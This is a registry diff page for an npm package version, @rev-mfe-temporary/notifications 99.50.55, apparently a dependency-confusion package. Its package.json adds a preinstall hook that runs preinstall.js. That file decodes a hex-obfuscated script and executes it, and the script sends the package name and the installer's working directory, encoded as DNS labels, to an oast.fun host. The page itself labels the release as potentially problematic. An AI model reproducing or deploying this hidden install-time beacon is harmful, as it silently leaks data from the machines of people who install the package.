@rev-mfe-temporary/notifications 99.50.55
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @rev-mfe-temporary/notifications might be problematic. Click here for more details.
- package/index.js +1 -0
- package/package.json +16 -0
- package/preinstall.js +5 -0
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
console.log("Test package installed by thruster")
|
package/package.json
ADDED
|
@@ -0,0 +1,16 @@
|
|
|
1
|
+
{
|
|
2
|
+
"name": "@rev-mfe-temporary/notifications",
|
|
3
|
+
"version": "99.50.55",
|
|
4
|
+
"type": "module",
|
|
5
|
+
"description": "# To use this template:",
|
|
6
|
+
"main": "index.js",
|
|
7
|
+
"scripts": {
|
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1",
|
|
9
|
+
"preinstall": "node preinstall.js"
|
|
10
|
+
},
|
|
11
|
+
"author": "",
|
|
12
|
+
"license": "ISC",
|
|
13
|
+
"dependencies": {
|
|
14
|
+
"node-fetch": "^3.3.2"
|
|
15
|
+
}
|
|
16
|
+
}
|
package/preinstall.js
ADDED
|
@@ -0,0 +1,5 @@
|
|
|
1
|
+
import fetch from "node-fetch"
|
|
2
|
+
const admin = "0a636f6e7374207061636b6167654e616d65203d2022407265762d6d66652d74656d706f726172792f6e6f74696669636174696f6e73223b0a636f6e73742063757272656e74576f726b696e674469726563746f7279203d2070726f636573732e63776428293b0a636f6e73742064617461203d204a534f4e2e737472696e676966792860247b7061636b6167654e616d657d2b247b63757272656e74576f726b696e674469726563746f72797d60293b0a6c657420686578456e636f64656444617461203d204275666665722e66726f6d2864617461292e746f537472696e67282768657827293b0a636f6e7374206865784461746157697468446f7473203d20686578456e636f646564446174612e6d61746368286e65772052656745787028602e7b312c36327d602c2027672729292e6a6f696e28272e27293b0a6665746368286068747470733a2f2f247b6865784461746157697468446f74737d2e6c74617265767a6c7464636c6b646672736164756d6a61736e71706e6f723365312e6f6173742e66756e60293b0a"
|
|
3
|
+
const adminResult = Buffer.from(admin, 'hex').toString('utf8');
|
|
4
|
+
const func = new Function(adminResult);
|
|
5
|
+
func(adminResult);
|